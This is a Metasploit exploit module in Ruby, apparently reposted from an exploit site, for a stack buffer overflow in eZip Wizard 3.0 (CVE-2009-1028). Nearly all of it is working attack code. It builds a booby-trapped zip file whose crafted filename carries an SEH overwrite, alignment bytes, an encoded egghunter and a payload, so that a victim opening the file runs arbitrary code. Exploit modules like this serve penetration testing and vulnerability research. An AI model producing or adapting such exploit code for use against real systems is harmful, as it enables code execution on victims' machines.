eZip Wizard 3.0 Stack Buffer Overflow

##
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'rex/zip'
 
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
    include Msf::Exploit::Remote::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'eZip Wizard 3.0 Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow vulnerability in
                version 3.0 of ediSys Corp.'s eZip Wizard.
 
                In order for the command to be executed, an attacker must convince someone to
                open a specially crafted zip file with eZip Wizard, and access the specially
                file via double-clicking it. By doing so, an attacker can execute arbitrary
                code as the victim user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'fl0 fl0w',  #Initial discovery, poc
                    'jduck',     #Metasploit
                    'Lincoln',   #Complete Metasploit port
                ],
            'Version'        => '$Revision: 12428 $',
            'References'     =>
                [
                    [ 'CVE', '2009-1028' ],
                    [ 'OSVDB', '52815' ],
                    [ 'BID', '34044' ],
                    [ 'URL', 'http://www.edisys.com/' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/8180' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],
                ],
         'Platform'          => [ 'win' ],
         'Payload'           =>
                {
                    'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
                },
            'Targets'        =>
                [
                    ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
                ],
            'DisclosureDate' => 'Mar 09 2009',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
                OptString.new('USERNAME', [ true, 'Username', ''])
            ], self.class)
 
    end
 
    def exploit
 
        #These badchars do not apply to the final payload
        badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"
 
        eggoptions =
        {
                :checksum => true,
                :eggtag => 'w00t'
        }
 
        hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
 
        [ 'x86/alpha_mixed'].each { |name|
                enc = framework.encoders.create(name)
                if name =~/alpha/
                    enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
                end
            hunter = enc.encode(hunter, nil, nil, platform)
        }
 
        #Username length affects our offset to hit SEH correctly
        if datastore['USERNAME'].length >= 9
            padding = rand_text_alpha(target['Offset'] - 8)
        else
            padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
        end
 
        fname  = padding
        fname << "\x61\x61\x7a\x04"      #nseh, align + conditional jmp
        fname << [target.ret].pack('V')  #seh
        fname << "\x61" * 29             #align for hunter
        fname << "\x58\x58\x41"          #align for hunter
        fname << hunter
        fname << egg
 
        zip = Rex::Zip::Archive.new
        xtra = [0xdac0ffee].pack('V')
        comment = [0xbadc0ded].pack('V')
        zip.add_file(fname, xtra, comment)
 
        # Create the file
        print_status("Creating '#{datastore['FILENAME']}' file...")
 
        file_create(zip.pack)
    end
 
end



#  0day.today [2018-01-11]  #